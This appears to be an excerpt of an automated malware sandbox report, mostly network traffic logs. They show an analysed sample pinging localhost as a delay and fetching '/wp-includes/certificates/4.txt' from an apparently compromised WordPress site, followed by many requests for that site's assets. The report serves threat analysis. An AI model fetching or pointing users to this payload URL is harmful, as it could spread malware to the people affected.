Source: global trafficTCP traffic: 192.168.2.22:49195 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49196 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49195 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49195 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49196 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49197 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49198 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49197 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49197 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49197 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49198 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49197 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49198 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49197 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49198 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49197 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49198 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49202 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49201 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49202 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49202 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49202 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49202 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49202 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49202 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49202 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49202 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49201 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49201 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49202 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49202 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49201 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49202 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49201 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49202 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49201 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49202 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49201 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49201 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49202 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49201 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49202 -> 187.45.240.69:80

Networking

barindex
Uses ping.exe to check the status of other devices and networks
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\PING.EXE ping -n 8 127.0.0.1
Source: Joe Sandbox ViewJA3 fingerprint: 7dcce5b76c8b17472d024758970a406b
Source: Joe Sandbox ViewIP Address: 104.18.10.207 104.18.10.207
Source: Joe Sandbox ViewIP Address: 187.45.240.69 187.45.240.69
Source: global trafficHTTP traffic detected: GET /translate_a/element.js?cb=googleTranslateElementInit2 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: translate.google.comConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-includes/certificates/4.txt HTTP/1.1Accept: */*Accept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /font-awesome/3.2.1/css/font-awesome.css?ver=3.2.1 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: netdna.bootstrapcdn.comConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/themes/theme51253/bootstrap/css/bootstrap.css HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /translate_a/element.js?cb=googleTranslateElementInit2 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: translate.google.comConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/themes/theme51253/style.css HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/themes/theme51253/bootstrap/css/responsive.css HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/plugins/gtranslate/gtranslate-style24.css?ver=4.9.20 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/themes/CherryFramework/css/camera.css HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/plugins/cherry-plugin/lib/js/FlexSlider/flexslider.css?ver=2.2.0 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/plugins/instagram-feed/css/sbi-styles.min.css?ver=2.9.2 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/plugins/cherry-plugin/lib/js/owl-carousel/owl.carousel.css?ver=1.24 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/plugins/cherry-plugin/lib/js/owl-carousel/owl.theme.css?ver=1.24 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/plugins/cherry-plugin/includes/css/cherry-plugin.css?ver=1.2.8.1 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-includes/js/wp-emoji-release.min.js?ver=4.9.20 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/plugins/contact-form-7/includes/css/styles.css?ver=5.0.3 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/plugins/cherry-parallax/css/parallax.css?ver=1.0.0 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/plugins/bannerrotator/css/banner-rotator.css?ver=4.9.20 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/plugins/bannerrotator/css/caption.css?ver=4.9.20 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/plugins/logo-slider-wp/public/assets/lib/owl/assets/owl.carousel.min.css?ver=1.0.0 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/plugins/logo-slider-wp/public/assets//lib/owl/assets/owl.theme.default.min.css?ver=1.0.0 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/plugins/logo-slider-wp/public/assets/lib/animate/animate-logo.css?ver=20 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/plugins/logo-slider-wp/public/assets/css/logo-slider-wp-public.css?ver=1.0.0 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/themes/theme51253/main-style.css HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/themes/CherryFramework/css/magnific-popup.css?ver=0.9.3 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/plugins/motopress-content-editor/includes/css/theme.css?ver=1.5.8 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/plugins/motopress-content-editor/bootstrap/bootstrap-grid.min.css?ver=1.5.8 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/themes/CherryFramework/style.css HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/plugins/cherry-plugin/lib/js/jquery.easing.1.3.js?ver=1.3 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/themes/CherryFramework/js/jquery-1.7.2.min.js?ver=1.7.2 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/plugins/cherry-plugin/lib/js/elasti-carousel/jquery.elastislide.js?ver=1.2.8.1 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/plugins/bannerrotator/js/jquery.flashblue-plugins.js?ver=4.9.20 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/plugins/bannerrotator/js/jquery.banner-rotator.js?ver=4.9.20 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/themes/CherryFramework/css/style.css HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/plugins/logo-slider-wp/public/assets/lib/owl/owl.carousel.js?ver=1.0.0 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/plugins/logo-slider-wp/public/assets/js/logo-slider-wp-public.js?ver=1.0.0 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/themes/CherryFramework/js/jquery-migrate-1.2.1.min.js?ver=1.2.1 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-includes/js/swfobject.js?ver=2.2-20120417 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/themes/CherryFramework/js/modernizr.js?ver=2.0.6 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/themes/CherryFramework/js/jflickrfeed.js?ver=1.0 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/themes/CherryFramework/js/custom.js?ver=1.0 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/themes/CherryFramework/bootstrap/js/bootstrap.min.js?ver=2.3.0 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/themes/CherryFramework/js/jquery.mobile.customized.min.js HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/uploads/2018/08/facex_horizontal2-e1535501425981.png HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/plugins/gtranslate/flags/16/pt-br.png HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
